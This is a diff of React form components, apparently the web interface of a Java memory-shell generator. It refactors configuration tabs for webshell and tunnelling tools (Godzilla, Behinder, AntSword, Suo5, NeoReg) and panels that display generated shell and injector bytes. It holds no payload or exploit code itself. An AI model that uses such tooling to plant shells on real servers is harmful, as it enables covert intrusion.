data-placeholder={t("common:placeholders.select")}
|
||||||
|
/>
|
||||||
</SelectTrigger>
|
</SelectTrigger>
|
||||||
</FormControl>
|
|
||||||
<SelectContent>
|
<SelectContent>
|
||||||
{shellTools.map((tool) => (
|
{shellTools.map((tool) => (
|
||||||
<SelectItem key={tool} value={tool}>
|
<SelectItem key={tool} value={tool}>
|
||||||
@@ -355,124 +385,171 @@ export default function MainConfigCard({
|
|||||||
))}
|
))}
|
||||||
</SelectContent>
|
</SelectContent>
|
||||||
</Select>
|
</Select>
|
||||||
</FormFieldItem>
|
</FieldContent>
|
||||||
|
</Field>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
<div className="flex gap-4 mt-4 flex-col sm:flex-row xl:grid xl:grid-cols-2 2xl:grid 2xl:grid-cols-3">
|
<div className="flex gap-4 mt-4 flex-col lg:grid lg:grid-cols-2 2xl:grid 2xl:grid-cols-3">
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="debug"
|
name="debug"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormItem className="flex items-center space-x-2 space-y-0">
|
<div className="flex items-center gap-2">
|
||||||
<FormControl>
|
|
||||||
<Switch
|
<Switch
|
||||||
id="debug"
|
id="debug"
|
||||||
checked={field.value}
|
checked={field.value}
|
||||||
onCheckedChange={field.onChange}
|
onCheckedChange={field.onChange}
|
||||||
/>
|
/>
|
||||||
</FormControl>
|
<Label htmlFor="debug">{t("common:debug")}</Label>
|
||||||
<FormLabel htmlFor="debug">{t("common:debug")}</FormLabel>
|
<Tooltip>
|
||||||
</FormItem>
|
<TooltipTrigger>
|
||||||
|
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
|
||||||
|
</TooltipTrigger>
|
||||||
|
<TooltipContent>
|
||||||
|
<p>{t("common:debug.description")}</p>
|
||||||
|
</TooltipContent>
|
||||||
|
</Tooltip>
|
||||||
|
</div>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="probe"
|
name="probe"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormItem className="flex items-center space-x-2 space-y-0">
|
<div className="flex items-center gap-2">
|
||||||
<FormControl>
|
|
||||||
<Switch
|
<Switch
|
||||||
id="probe"
|
id="probe"
|
||||||
checked={field.value}
|
checked={field.value}
|
||||||
onCheckedChange={field.onChange}
|
onCheckedChange={field.onChange}
|
||||||
/>
|
/>
|
||||||
</FormControl>
|
|
||||||
<Label htmlFor="probe">{t("common:probe")}</Label>
|
<Label htmlFor="probe">{t("common:probe")}</Label>
|
||||||
</FormItem>
|
<Tooltip>
|
||||||
|
<TooltipTrigger>
|
||||||
|
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
|
||||||
|
</TooltipTrigger>
|
||||||
|
<TooltipContent>
|
||||||
|
<p>{t("common:probe.description")}</p>
|
||||||
|
</TooltipContent>
|
||||||
|
</Tooltip>
|
||||||
|
</div>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="byPassJavaModule"
|
name="byPassJavaModule"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormItem className="flex items-center space-x-2 space-y-0">
|
<div className="flex items-center gap-2">
|
||||||
<FormControl>
|
|
||||||
<Switch
|
<Switch
|
||||||
id="bypass"
|
id="bypass"
|
||||||
checked={field.value}
|
checked={field.value}
|
||||||
onCheckedChange={field.onChange}
|
onCheckedChange={field.onChange}
|
||||||
/>
|
/>
|
||||||
</FormControl>
|
<Label htmlFor="bypass">
|
||||||
<Label htmlFor="bypass">{t("common:byPassJavaModule")}</Label>
|
{t("common:byPassJavaModule")}
|
||||||
</FormItem>
|
</Label>
|
||||||
|
<Tooltip>
|
||||||
|
<TooltipTrigger>
|
||||||
|
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
|
||||||
|
</TooltipTrigger>
|
||||||
|
<TooltipContent>
|
||||||
|
<p>{t("common:byPassJavaModule.description")}</p>
|
||||||
|
</TooltipContent>
|
||||||
|
</Tooltip>
|
||||||
|
</div>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="lambdaSuffix"
|
name="lambdaSuffix"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormItem className="flex items-center space-x-2 space-y-0">
|
<div className="flex items-center gap-2">
|
||||||
<FormControl>
|
|
||||||
<Switch
|
<Switch
|
||||||
id="lambdaSuffix"
|
id="lambdaSuffix"
|
||||||
checked={field.value}
|
checked={field.value}
|
||||||
onCheckedChange={field.onChange}
|
onCheckedChange={field.onChange}
|
||||||
/>
|
/>
|
||||||
</FormControl>
|
|
||||||
<Label htmlFor="lambdaSuffix">
|
<Label htmlFor="lambdaSuffix">
|
||||||
{t("common:lambdaSuffix")}
|
{t("common:lambdaSuffix")}
|
||||||
</Label>
|
</Label>
|
||||||
</FormItem>
|
<Tooltip>
|
||||||
|
<TooltipTrigger>
|
||||||
|
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
|
||||||
|
</TooltipTrigger>
|
||||||
|
<TooltipContent>
|
||||||
|
<p>{t("common:lambdaSuffix.description")}</p>
|
||||||
|
</TooltipContent>
|
||||||
|
</Tooltip>
|
||||||
|
</div>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="shrink"
|
name="shrink"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormItem className="flex items-center space-x-2 space-y-0">
|
<div className="flex items-center gap-2">
|
||||||
<FormControl>
|
|
||||||
<Switch
|
<Switch
|
||||||
id="shrink"
|
id="shrink"
|
||||||
checked={field.value}
|
checked={field.value}
|
||||||
onCheckedChange={field.onChange}
|
onCheckedChange={field.onChange}
|
||||||
/>
|
/>
|
||||||
</FormControl>
|
|
||||||
<Label htmlFor="shrink">{t("common:shrink")}</Label>
|
<Label htmlFor="shrink">{t("common:shrink")}</Label>
|
||||||
</FormItem>
|
<Tooltip>
|
||||||
|
<TooltipTrigger>
|
||||||
|
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
|
||||||
|
</TooltipTrigger>
|
||||||
|
<TooltipContent>
|
||||||
|
<p>{t("common:shrink.description")}</p>
|
||||||
|
</TooltipContent>
|
||||||
|
</Tooltip>
|
||||||
|
</div>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="staticInitialize"
|
name="staticInitialize"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormItem className="flex items-center space-x-2 space-y-0">
|
<div className="flex items-center gap-2">
|
||||||
<FormControl>
|
|
||||||
<Switch
|
<Switch
|
||||||
id="staticInitialize"
|
id="staticInitialize"
|
||||||
checked={field.value}
|
checked={field.value}
|
||||||
onCheckedChange={field.onChange}
|
onCheckedChange={field.onChange}
|
||||||
/>
|
/>
|
||||||
</FormControl>
|
|
||||||
<Label htmlFor="staticInitialize">
|
<Label htmlFor="staticInitialize">
|
||||||
{t("common:staticInitialize")}
|
{t("common:staticInitialize")}
|
||||||
</Label>
|
</Label>
|
||||||
</FormItem>
|
<Tooltip>
|
||||||
|
<TooltipTrigger>
|
||||||
|
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
|
||||||
|
</TooltipTrigger>
|
||||||
|
<TooltipContent>
|
||||||
|
<p>{t("common:staticInitialize.description")}</p>
|
||||||
|
</TooltipContent>
|
||||||
|
</Tooltip>
|
||||||
|
</div>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
</CardContent>
|
</CardContent>
|
||||||
</Card>
|
</Card>
|
||||||
|
{mainConfig && (
|
||||||
<Tabs value={shellTool} className="w-full">
|
<Tabs value={shellTool} className="w-full">
|
||||||
<GodzillaTabContent form={form} shellTypes={shellTypes} />
|
<GodzillaTabContent form={form} shellTypes={shellTypes} />
|
||||||
<CommandTabContent form={form} shellTypes={shellTypes} />
|
<CommandTabContent form={form} shellTypes={shellTypes} />
|
||||||
<BehinderTabContent form={form} shellTypes={shellTypes} />
|
<BehinderTabContent form={form} shellTypes={shellTypes} />
|
||||||
<AntSwordTabContent form={form} shellTypes={shellTypes} />
|
<AntSwordTabContent form={form} shellTypes={shellTypes} />
|
||||||
<Suo5TabContent tabValue="Suo5" form={form} shellTypes={shellTypes} />
|
<Suo5TabContent tabValue="Suo5" form={form} shellTypes={shellTypes} />
|
||||||
<Suo5TabContent tabValue="Suo5v2" form={form} shellTypes={shellTypes} />
|
<Suo5TabContent
|
||||||
|
tabValue="Suo5v2"
|
||||||
|
form={form}
|
||||||
|
shellTypes={shellTypes}
|
||||||
|
/>
|
||||||
<NeoRegTabContent form={form} shellTypes={shellTypes} />
|
<NeoRegTabContent form={form} shellTypes={shellTypes} />
|
||||||
<CustomTabContent form={form} shellTypes={shellTypes} />
|
<CustomTabContent form={form} shellTypes={shellTypes} />
|
||||||
</Tabs>
|
</Tabs>
|
||||||
</FormProvider>
|
)}
|
||||||
|
</>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,22 +1,13 @@
|
|||||||
import { PackageIcon } from "lucide-react";
|
import { PackageIcon } from "lucide-react";
|
||||||
import { useEffect, useState } from "react";
|
import { useMemo } from "react";
|
||||||
import { FormProvider, type UseFormReturn } from "react-hook-form";
|
import { Controller, type UseFormReturn, useWatch } from "react-hook-form";
|
||||||
import { useTranslation } from "react-i18next";
|
import { useTranslation } from "react-i18next";
|
||||||
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
|
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
|
||||||
import {
|
import { FieldLabel, FieldSet } from "@/components/ui/field";
|
||||||
FormControl,
|
|
||||||
FormField,
|
|
||||||
FormItem,
|
|
||||||
FormLabel,
|
|
||||||
} from "@/components/ui/form";
|
|
||||||
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
|
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
|
||||||
|
import { Spinner } from "@/components/ui/spinner";
|
||||||
import type { PackerConfig } from "@/types/memshell";
|
import type { PackerConfig } from "@/types/memshell";
|
||||||
import type { MemShellFormSchema } from "@/types/schema.ts";
|
import type { MemShellFormSchema } from "@/types/schema";
|
||||||
|
|
||||||
type Option = {
|
|
||||||
name: string;
|
|
||||||
value: string;
|
|
||||||
};
|
|
||||||
|
|
||||||
export default function PackageConfigCard({
|
export default function PackageConfigCard({
|
||||||
packerConfig,
|
packerConfig,
|
||||||
@@ -25,13 +16,19 @@ export default function PackageConfigCard({
|
|||||||
packerConfig: PackerConfig | undefined;
|
packerConfig: PackerConfig | undefined;
|
||||||
form: UseFormReturn<MemShellFormSchema>;
|
form: UseFormReturn<MemShellFormSchema>;
|
||||||
}>) {
|
}>) {
|
||||||
const [options, setOptions] = useState<Array<Option>>([]);
|
|
||||||
|
|
||||||
const shellType = form.watch("shellType");
|
|
||||||
const server = form.watch("server");
|
|
||||||
const { t } = useTranslation("common");
|
const { t } = useTranslation("common");
|
||||||
|
|
||||||
useEffect(() => {
|
const shellType = useWatch({
|
||||||
|
control: form.control,
|
||||||
|
name: "shellType",
|
||||||
|
});
|
||||||
|
|
||||||
|
const server = useWatch({
|
||||||
|
control: form.control,
|
||||||
|
name: "server",
|
||||||
|
});
|
||||||
|
|
||||||
|
const options = useMemo(() => {
|
||||||
const filteredOptions = (packerConfig ?? []).filter((name) => {
|
const filteredOptions = (packerConfig ?? []).filter((name) => {
|
||||||
if (!shellType || shellType === " ") {
|
if (!shellType || shellType === " ") {
|
||||||
return true;
|
return true;
|
||||||
@@ -44,23 +41,12 @@ export default function PackageConfigCard({
|
|||||||
}
|
}
|
||||||
return !name.startsWith("Agent") && !name.toLowerCase().startsWith("xxl");
|
return !name.startsWith("Agent") && !name.toLowerCase().startsWith("xxl");
|
||||||
});
|
});
|
||||||
|
form.setValue("packingMethod", filteredOptions[0]);
|
||||||
const mappedOptions = filteredOptions.map((name) => {
|
return filteredOptions.map((name) => ({
|
||||||
return {
|
|
||||||
name: t(name),
|
name: t(name),
|
||||||
value: name,
|
value: name,
|
||||||
};
|
}));
|
||||||
});
|
}, [packerConfig, shellType, server, t, form]);
|
||||||
|
|
||||||
setOptions(mappedOptions);
|
|
||||||
const currentValue = form.getValues("packingMethod");
|
|
||||||
if (
|
|
||||||
filteredOptions.length > 0 &&
|
|
||||||
(!currentValue || !filteredOptions.includes(currentValue))
|
|
||||||
) {
|
|
||||||
form.setValue("packingMethod", filteredOptions[0]);
|
|
||||||
}
|
|
||||||
}, [form, packerConfig, server, shellType, t]);
|
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<Card className="w-full">
|
<Card className="w-full">
|
||||||
@@ -72,41 +58,34 @@ export default function PackageConfigCard({
|
|||||||
</CardHeader>
|
</CardHeader>
|
||||||
<CardContent>
|
<CardContent>
|
||||||
{options.length > 0 ? (
|
{options.length > 0 ? (
|
||||||
<FormProvider {...form}>
|
<Controller
|
||||||
<FormField
|
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="packingMethod"
|
name="packingMethod"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormItem className="space-y-3">
|
<FieldSet>
|
||||||
<FormLabel>{t("packerMethod")}</FormLabel>
|
<FieldLabel>{t("packerMethod")}</FieldLabel>
|
||||||
<FormControl>
|
|
||||||
<RadioGroup
|
<RadioGroup
|
||||||
onValueChange={field.onChange}
|
name={field.name}
|
||||||
value={field.value}
|
value={field.value}
|
||||||
|
defaultValue={options[0].value}
|
||||||
|
onValueChange={field.onChange}
|
||||||
className="grid grid-cols-2 md:grid-cols-3"
|
className="grid grid-cols-2 md:grid-cols-3"
|
||||||
>
|
>
|
||||||
{options.map(({ name, value }) => (
|
{options.map(({ name, value }) => (
|
||||||
<FormItem
|
<div key={value} className="flex items-center space-x-3">
|
||||||
key={value}
|
|
||||||
className="flex items-center space-x-3 space-y-0"
|
|
||||||
>
|
|
||||||
<FormControl>
|
|
||||||
<RadioGroupItem value={value} id={value} />
|
<RadioGroupItem value={value} id={value} />
|
||||||
</FormControl>
|
<FieldLabel className="text-xs" htmlFor={value}>
|
||||||
<FormLabel className="text-xs" htmlFor={value}>
|
|
||||||
{name}
|
{name}
|
||||||
</FormLabel>
|
</FieldLabel>
|
||||||
</FormItem>
|
</div>
|
||||||
))}
|
))}
|
||||||
</RadioGroup>
|
</RadioGroup>
|
||||||
</FormControl>
|
</FieldSet>
|
||||||
</FormItem>
|
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
</FormProvider>
|
|
||||||
) : (
|
) : (
|
||||||
<div className="flex items-center justify-center p-4 space-x-2">
|
<div className="flex items-center justify-center p-4 gap-4 h-50">
|
||||||
<div className="h-4 w-4 animate-spin rounded-full border-2 border-primary border-t-transparent" />
|
<Spinner />
|
||||||
<span className="text-sm text-muted-foreground">
|
<span className="text-sm text-muted-foreground">
|
||||||
{t("loading")}
|
{t("loading")}
|
||||||
</span>
|
</span>
|
||||||
|
|||||||
@@ -7,13 +7,13 @@ export function QuickUsage() {
|
|||||||
return (
|
return (
|
||||||
<Card>
|
<Card>
|
||||||
<CardHeader>
|
<CardHeader>
|
||||||
<CardTitle className="text-md flex items-center gap-2">
|
<CardTitle className="flex items-center gap-2">
|
||||||
<ScrollTextIcon className="h-5" />
|
<ScrollTextIcon className="h-5" />
|
||||||
<span>{t("common:quickUsage.title")}</span>
|
<span>{t("common:quickUsage.title")}</span>
|
||||||
</CardTitle>
|
</CardTitle>
|
||||||
</CardHeader>
|
</CardHeader>
|
||||||
<CardContent>
|
<CardContent>
|
||||||
<ol className="list-decimal list-inside space-y-4 text-sm">
|
<ol className="flex flex-col gap-4 list-decimal list-inside text-sm">
|
||||||
<li>{t("memshell:quickUsage.step1")}</li>
|
<li>{t("memshell:quickUsage.step1")}</li>
|
||||||
<li>{t("memshell:quickUsage.step2")}</li>
|
<li>{t("memshell:quickUsage.step2")}</li>
|
||||||
<li>{t("memshell:quickUsage.step3")}</li>
|
<li>{t("memshell:quickUsage.step3")}</li>
|
||||||
|
|||||||
@@ -79,7 +79,7 @@ export function MultiPackResult({
|
|||||||
<div className="flex items-center justify-between text-xs gap-2">
|
<div className="flex items-center justify-between text-xs gap-2">
|
||||||
<Select
|
<Select
|
||||||
onValueChange={(value) => {
|
onValueChange={(value) => {
|
||||||
setSelectedMethod(value);
|
setSelectedMethod(value as string);
|
||||||
setPackResult(
|
setPackResult(
|
||||||
allPackResults?.[value as keyof typeof allPackResults] ?? "",
|
allPackResults?.[value as keyof typeof allPackResults] ?? "",
|
||||||
);
|
);
|
||||||
@@ -90,7 +90,7 @@ export function MultiPackResult({
|
|||||||
<span className="text-muted-foreground">
|
<span className="text-muted-foreground">
|
||||||
{t("common:packerMethod")}:
|
{t("common:packerMethod")}:
|
||||||
</span>
|
</span>
|
||||||
<SelectValue />
|
<SelectValue data-placeholder={t("common:placeholders.select")} />
|
||||||
</SelectTrigger>
|
</SelectTrigger>
|
||||||
<SelectContent>
|
<SelectContent>
|
||||||
{packMethods.map((method) => (
|
{packMethods.map((method) => (
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ import { toast } from "sonner";
|
|||||||
import { QuickUsage } from "@/components/memshell/quick-usage";
|
import { QuickUsage } from "@/components/memshell/quick-usage";
|
||||||
import { Button } from "@/components/ui/button";
|
import { Button } from "@/components/ui/button";
|
||||||
import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
|
import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
|
||||||
import { downloadBytes } from "@/lib/utils.ts";
|
import { downloadBytes } from "@/lib/utils";
|
||||||
import type { MemShellResult } from "@/types/memshell";
|
import type { MemShellResult } from "@/types/memshell";
|
||||||
import CodeViewer from "../code-viewer";
|
import CodeViewer from "../code-viewer";
|
||||||
import { BasicInfo } from "./results/basic-info";
|
import { BasicInfo } from "./results/basic-info";
|
||||||
@@ -26,6 +26,7 @@ export default function ShellResult({
|
|||||||
if (!generateResult) {
|
if (!generateResult) {
|
||||||
return <QuickUsage />;
|
return <QuickUsage />;
|
||||||
}
|
}
|
||||||
|
const height = 800;
|
||||||
return (
|
return (
|
||||||
<Tabs defaultValue="packResult">
|
<Tabs defaultValue="packResult">
|
||||||
<TabsList className="grid w-full grid-cols-3">
|
<TabsList className="grid w-full grid-cols-3">
|
||||||
@@ -37,7 +38,7 @@ export default function ShellResult({
|
|||||||
{t("memshell:injectorClass")}
|
{t("memshell:injectorClass")}
|
||||||
</TabsTrigger>
|
</TabsTrigger>
|
||||||
</TabsList>
|
</TabsList>
|
||||||
<TabsContent value="packResult" className="my-2 space-y-4">
|
<TabsContent value="packResult" className="space-y-2">
|
||||||
<BasicInfo generateResult={generateResult} />
|
<BasicInfo generateResult={generateResult} />
|
||||||
<ResultComponent
|
<ResultComponent
|
||||||
packResult={packResult}
|
packResult={packResult}
|
||||||
@@ -75,7 +76,7 @@ export default function ShellResult({
|
|||||||
</Button>
|
</Button>
|
||||||
}
|
}
|
||||||
wrapLongLines={true}
|
wrapLongLines={true}
|
||||||
height={600}
|
height={height}
|
||||||
code={generateResult?.shellBytesBase64Str ?? ""}
|
code={generateResult?.shellBytesBase64Str ?? ""}
|
||||||
language="text"
|
language="text"
|
||||||
/>
|
/>
|
||||||
@@ -107,7 +108,7 @@ export default function ShellResult({
|
|||||||
<DownloadIcon className="h-4 w-4" />
|
<DownloadIcon className="h-4 w-4" />
|
||||||
</Button>
|
</Button>
|
||||||
}
|
}
|
||||||
height={600}
|
height={height}
|
||||||
code={generateResult?.injectorBytesBase64Str ?? ""}
|
code={generateResult?.injectorBytesBase64Str ?? ""}
|
||||||
language="text"
|
language="text"
|
||||||
/>
|
/>
|
||||||
|
|||||||
@@ -1,12 +1,7 @@
|
|||||||
import { FormProvider, type UseFormReturn } from "react-hook-form";
|
import { Controller, type UseFormReturn } from "react-hook-form";
|
||||||
import { useTranslation } from "react-i18next";
|
import { useTranslation } from "react-i18next";
|
||||||
import { Card, CardContent } from "@/components/ui/card";
|
import { Card, CardContent } from "@/components/ui/card";
|
||||||
import {
|
import { Field, FieldLabel } from "@/components/ui/field";
|
||||||
FormControl,
|
|
||||||
FormField,
|
|
||||||
FormFieldItem,
|
|
||||||
FormFieldLabel,
|
|
||||||
} from "@/components/ui/form";
|
|
||||||
import { Input } from "@/components/ui/input";
|
import { Input } from "@/components/ui/input";
|
||||||
import { TabsContent } from "@/components/ui/tabs";
|
import { TabsContent } from "@/components/ui/tabs";
|
||||||
import type { MemShellFormSchema } from "@/types/schema";
|
import type { MemShellFormSchema } from "@/types/schema";
|
||||||
@@ -23,7 +18,6 @@ export function AntSwordTabContent({
|
|||||||
}>) {
|
}>) {
|
||||||
const { t } = useTranslation(["memshell", "common"]);
|
const { t } = useTranslation(["memshell", "common"]);
|
||||||
return (
|
return (
|
||||||
<FormProvider {...form}>
|
|
||||||
<TabsContent value="AntSword">
|
<TabsContent value="AntSword">
|
||||||
<Card>
|
<Card>
|
||||||
<CardContent className="space-y-2 mt-4">
|
<CardContent className="space-y-2 mt-4">
|
||||||
@@ -31,50 +25,48 @@ export function AntSwordTabContent({
|
|||||||
<ShellTypeFormField form={form} shellTypes={shellTypes} />
|
<ShellTypeFormField form={form} shellTypes={shellTypes} />
|
||||||
<UrlPatternFormField form={form} />
|
<UrlPatternFormField form={form} />
|
||||||
</div>
|
</div>
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="antSwordPass"
|
name="antSwordPass"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormFieldItem>
|
<Field className="gap-1">
|
||||||
<FormFieldLabel>
|
<FieldLabel>
|
||||||
{t("shellToolConfig.antSword.pass")} {t("common:optional")}
|
{t("shellToolConfig.antSword.pass")} {t("common:optional")}
|
||||||
</FormFieldLabel>
|
</FieldLabel>
|
||||||
<Input
|
<Input
|
||||||
{...field}
|
{...field}
|
||||||
placeholder={t("common:placeholders.input")}
|
placeholder={t("common:placeholders.input")}
|
||||||
/>
|
/>
|
||||||
</FormFieldItem>
|
</Field>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
|
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="headerName"
|
name="headerName"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormFieldItem>
|
<Field className="gap-1">
|
||||||
<FormFieldLabel>{t("common:headerName")}</FormFieldLabel>
|
<FieldLabel>{t("common:headerName")}</FieldLabel>
|
||||||
<FormControl>
|
|
||||||
<Input
|
<Input
|
||||||
{...field}
|
{...field}
|
||||||
placeholder={t("common:placeholders.input")}
|
placeholder={t("common:placeholders.input")}
|
||||||
/>
|
/>
|
||||||
</FormControl>
|
</Field>
|
||||||
</FormFieldItem>
|
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="headerValue"
|
name="headerValue"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormFieldItem>
|
<Field className="gap-1">
|
||||||
<FormFieldLabel>
|
<FieldLabel>
|
||||||
{t("common:headerValue")} {t("common:optional")}
|
{t("common:headerValue")} {t("common:optional")}
|
||||||
</FormFieldLabel>
|
</FieldLabel>
|
||||||
<Input
|
<Input
|
||||||
{...field}
|
{...field}
|
||||||
placeholder={t("common:placeholders.input")}
|
placeholder={t("common:placeholders.input")}
|
||||||
/>
|
/>
|
||||||
</FormFieldItem>
|
</Field>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
@@ -82,6 +74,5 @@ export function AntSwordTabContent({
|
|||||||
</CardContent>
|
</CardContent>
|
||||||
</Card>
|
</Card>
|
||||||
</TabsContent>
|
</TabsContent>
|
||||||
</FormProvider>
|
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
import { FormProvider, type UseFormReturn } from "react-hook-form";
|
import { Controller, type UseFormReturn } from "react-hook-form";
|
||||||
import { useTranslation } from "react-i18next";
|
import { useTranslation } from "react-i18next";
|
||||||
import { Card, CardContent } from "@/components/ui/card";
|
import { Card, CardContent } from "@/components/ui/card";
|
||||||
import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form";
|
import { Field, FieldLabel } from "@/components/ui/field";
|
||||||
import { Input } from "@/components/ui/input";
|
import { Input } from "@/components/ui/input";
|
||||||
import { TabsContent } from "@/components/ui/tabs";
|
import { TabsContent } from "@/components/ui/tabs";
|
||||||
import type { MemShellFormSchema } from "@/types/schema";
|
import type { MemShellFormSchema } from "@/types/schema";
|
||||||
@@ -18,7 +18,6 @@ export function BehinderTabContent({
|
|||||||
}>) {
|
}>) {
|
||||||
const { t } = useTranslation(["memshell", "common"]);
|
const { t } = useTranslation(["memshell", "common"]);
|
||||||
return (
|
return (
|
||||||
<FormProvider {...form}>
|
|
||||||
<TabsContent value="Behinder">
|
<TabsContent value="Behinder">
|
||||||
<Card>
|
<Card>
|
||||||
<CardContent className="space-y-2 mt-4">
|
<CardContent className="space-y-2 mt-4">
|
||||||
@@ -26,48 +25,48 @@ export function BehinderTabContent({
|
|||||||
<ShellTypeFormField form={form} shellTypes={shellTypes} />
|
<ShellTypeFormField form={form} shellTypes={shellTypes} />
|
||||||
<UrlPatternFormField form={form} />
|
<UrlPatternFormField form={form} />
|
||||||
</div>
|
</div>
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="behinderPass"
|
name="behinderPass"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormFieldItem>
|
<Field className="gap-1">
|
||||||
<FormFieldLabel>
|
<FieldLabel>
|
||||||
{t("shellToolConfig.behinder.pass")} {t("common:optional")}
|
{t("shellToolConfig.behinder.pass")} {t("common:optional")}
|
||||||
</FormFieldLabel>
|
</FieldLabel>
|
||||||
<Input
|
<Input
|
||||||
{...field}
|
{...field}
|
||||||
placeholder={t("common:placeholders.input")}
|
placeholder={t("common:placeholders.input")}
|
||||||
/>
|
/>
|
||||||
</FormFieldItem>
|
</Field>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
|
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="headerName"
|
name="headerName"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormFieldItem>
|
<Field className="gap-1">
|
||||||
<FormFieldLabel>{t("common:headerName")}</FormFieldLabel>
|
<FieldLabel>{t("common:headerName")}</FieldLabel>
|
||||||
<Input
|
<Input
|
||||||
{...field}
|
{...field}
|
||||||
placeholder={t("common:placeholders.input")}
|
placeholder={t("common:placeholders.input")}
|
||||||
/>
|
/>
|
||||||
</FormFieldItem>
|
</Field>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="headerValue"
|
name="headerValue"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormFieldItem>
|
<Field className="gap-1">
|
||||||
<FormFieldLabel>
|
<FieldLabel>
|
||||||
{t("common:headerValue")} {t("common:optional")}
|
{t("common:headerValue")} {t("common:optional")}
|
||||||
</FormFieldLabel>
|
</FieldLabel>
|
||||||
<Input
|
<Input
|
||||||
{...field}
|
{...field}
|
||||||
placeholder={t("common:placeholders.input")}
|
placeholder={t("common:placeholders.input")}
|
||||||
/>
|
/>
|
||||||
</FormFieldItem>
|
</Field>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
@@ -75,6 +74,5 @@ export function BehinderTabContent({
|
|||||||
</CardContent>
|
</CardContent>
|
||||||
</Card>
|
</Card>
|
||||||
</TabsContent>
|
</TabsContent>
|
||||||
</FormProvider>
|
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,11 +1,11 @@
|
|||||||
import { Shuffle } from "lucide-react";
|
import { Shuffle } from "lucide-react";
|
||||||
import { Fragment, useEffect, useState } from "react";
|
import { Fragment, useEffect, useState } from "react";
|
||||||
import { FormProvider, type UseFormReturn } from "react-hook-form";
|
import { Controller, type UseFormReturn } from "react-hook-form";
|
||||||
import { useTranslation } from "react-i18next";
|
import { useTranslation } from "react-i18next";
|
||||||
import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form";
|
import { Field, FieldLabel } from "@/components/ui/field";
|
||||||
import { Input } from "@/components/ui/input";
|
import { Input } from "@/components/ui/input";
|
||||||
import { Switch } from "@/components/ui/switch";
|
import { Switch } from "@/components/ui/switch";
|
||||||
import type { MemShellFormSchema } from "@/types/schema.ts";
|
import type { MemShellFormSchema } from "@/types/schema";
|
||||||
|
|
||||||
